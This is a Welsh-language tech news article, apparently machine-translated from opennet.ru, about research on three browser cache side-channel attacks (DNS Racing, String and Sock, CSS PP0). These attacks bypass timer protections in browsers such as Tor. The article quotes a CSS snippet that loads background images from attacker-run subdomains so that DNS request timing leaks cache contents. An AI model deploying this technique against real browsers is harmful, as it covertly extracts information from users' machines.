Ymosodiad echdynnu cache CPU wedi'i weithredu mewn porwr gwe heb JavaScript

Mae tîm o ymchwilwyr o sawl prifysgol yn America, Israel ac Awstralia wedi datblygu tri ymosodiad sy'n rhedeg ar borwyr gwe i dynnu gwybodaeth am gynnwys storfa'r prosesydd. Mae un dull yn gweithio mewn porwyr heb JavaScript, ac mae'r ddau arall yn osgoi dulliau presennol o amddiffyn rhag ymosodiadau sianel ochr, gan gynnwys y rhai a ddefnyddir yn y porwr Tor a DeterFox. Cyhoeddir y cod ar gyfer arddangos yr ymosodiadau, yn ogystal â'r cydrannau gweinydd sy'n angenrheidiol ar gyfer yr ymosodiadau, ar GitHub.

I ddadansoddi cynnwys y storfa, mae pob ymosodiad yn defnyddio'r dull Prime + Probe, sy'n golygu llenwi'r storfa gyda set safonol o werthoedd a chanfod newidiadau trwy fesur yr amser mynediad iddynt wrth eu hail-lenwi. Er mwyn osgoi'r mecanweithiau diogelwch sy'n bresennol mewn porwyr sy'n ymyrryd â mesur amser cywir, mewn dau opsiwn, gwneir apêl i weinydd DNS neu WebSocket a reolir gan yr ymosodwr, sy'n cadw log o amser y ceisiadau a dderbyniwyd. Mewn un ymgorfforiad, defnyddir amser ymateb DNS sefydlog fel cyfeiriad amser.

Roedd mesuriadau a wnaed gan ddefnyddio gweinyddwyr DNS allanol neu WebSocket, gan ddefnyddio system ddosbarthu yn seiliedig ar ddysgu peiriant, yn ddigonol i ragfynegi gwerthoedd gyda chywirdeb o hyd at 98% yn y senario mwyaf optimaidd (cyfartaledd 80-90%). Mae'r dulliau ymosod wedi'u profi ar wahanol lwyfannau caledwedd (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ac maent wedi profi i fod yn gyffredinol.

Ymosodiad echdynnu cache CPU wedi'i weithredu mewn porwr gwe heb JavaScript

Mae amrywiad cyntaf yr ymosodiad DNS Racing yn defnyddio gweithrediad clasurol o'r dull Prime + Probe gan ddefnyddio araeau JavaScript. Mae'r gwahaniaethau'n deillio o'r defnydd o amserydd allanol sy'n seiliedig ar DNS a thriniwr gwallau, sy'n cael ei sbarduno pan wneir ymgais i lwytho delwedd o barth nad yw'n bodoli. Mae amserydd allanol yn caniatáu ymosodiad Prime+Probe ar borwyr sy'n cyfyngu neu'n analluogi mynediad i amseryddion JavaScript yn llwyr.

Ar gyfer gweinydd DNS sydd wedi'i leoli ar yr un rhwydwaith Ethernet, amcangyfrifir bod cywirdeb yr amserydd tua 2 ms, sy'n ddigon i gynnal ymosodiad ochr-sianel (er mwyn cymharu, cywirdeb yr amserydd JavaScript safonol yn Porwr Tor yw gostwng i 100 ms). Ar gyfer yr ymosodiad, nid oes angen rheolaeth dros y gweinydd DNS, gan fod amser gweithredu'r gweithrediad yn cael ei ddewis fel bod yr amser ymateb o'r DNS yn arwydd o gwblhau'r siec yn gynharach (yn dibynnu a yw'r triniwr gwall wedi'i sbarduno yn gynharach neu'n hwyrach, deuir i gasgliad am gyflymder y gweithrediad gwirio gyda'r storfa).

Nod yr ail ddull ymosodiad, "String and Sock", yw osgoi technegau diogelwch sy'n cyfyngu ar y defnydd lefel isel o araeau yn JavaScript. Yn lle araeau, mae Llinynnol a Sock yn defnyddio gweithrediadau ar linynnau mawr iawn, y mae eu maint yn cael ei ddewis fel bod y newidyn yn cwmpasu'r storfa LLC gyfan (cache lefel olaf). Nesaf, gan ddefnyddio'r swyddogaeth indexOf(), chwilir is-linyn bach yn y llinyn, sy'n absennol i ddechrau yn y llinyn ffynhonnell, h.y. mae'r gweithrediad chwilio yn arwain at iteru dros y llinyn cyfan. Gan fod maint y llinell yn cyfateb i faint storfa LLC, mae sganio yn caniatáu ichi gyflawni gweithrediad gwirio storfa heb drin yr araeau. I fesur oedi, yn lle DNS, gwneir galwad i weinydd WebSocket a reolir gan yr ymosodwr - cyn ac ar ôl i'r gweithrediad chwilio gael ei gwblhau, anfonir ymholiadau yn y llinell, y mae'r gweinydd yn cyfrifo'r oedi a ddefnyddir i ddadansoddi'r storfa ar sail hynny. cynnwys.

Mae trydydd amrywiad yr ymosodiad “CSS PP0” yn cael ei weithredu trwy HTML a CSS, a gall weithio mewn porwyr ag anabledd JavaScript. Mae'r dull yn debyg i "String and Sock", ond nid yw'n gysylltiedig â JavaScript. Yn ystod yr ymosodiad, cynhyrchir set o ddetholwyr CSS sy'n chwilio trwy fwgwd. Mae'r llinyn mawr cychwynnol sy'n llenwi'r storfa yn cael ei osod trwy greu tag div gydag enw dosbarth mawr iawn. Y tu mewn mae set o divs eraill gyda'u dynodwyr eu hunain. Mae gan bob un o'r divs nythu hyn ei arddull ei hun gyda dewisydd sy'n chwilio am is-linyn. Wrth rendro tudalen, mae'r porwr yn gyntaf yn ceisio prosesu'r divs mewnol, sy'n arwain at weithred chwilio ar res fawr. Perfformir y chwiliad gan ddefnyddio mwgwd sydd ar goll yn fwriadol ac mae'n arwain at ailadrodd dros y llinell gyfan, ac ar ôl hynny mae'r amod "ddim" yn cael ei sbarduno a cheisir llwytho delwedd gefndir sy'n cyfeirio at barthau ar hap: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Mae is-barthau'n cael eu gwasanaethu gan weinydd DNS yr ymosodwr, a all fesur oedi wrth dderbyn ceisiadau. Mae'r gweinydd DNS yn cyhoeddi NXDOMAIN ar gyfer pob cais ac yn cadw cofnod o union amser ceisiadau. O ganlyniad i brosesu set o divs, mae gweinydd DNS yr ymosodwr yn derbyn cyfres o geisiadau, ac mae'r oedi rhyngddynt yn cyd-fynd â chanlyniad gwirio cynnwys y storfa.

Ymosodiad echdynnu cache CPU wedi'i weithredu mewn porwr gwe heb JavaScript


Ffynhonnell: opennet.ru

Ychwanegu sylw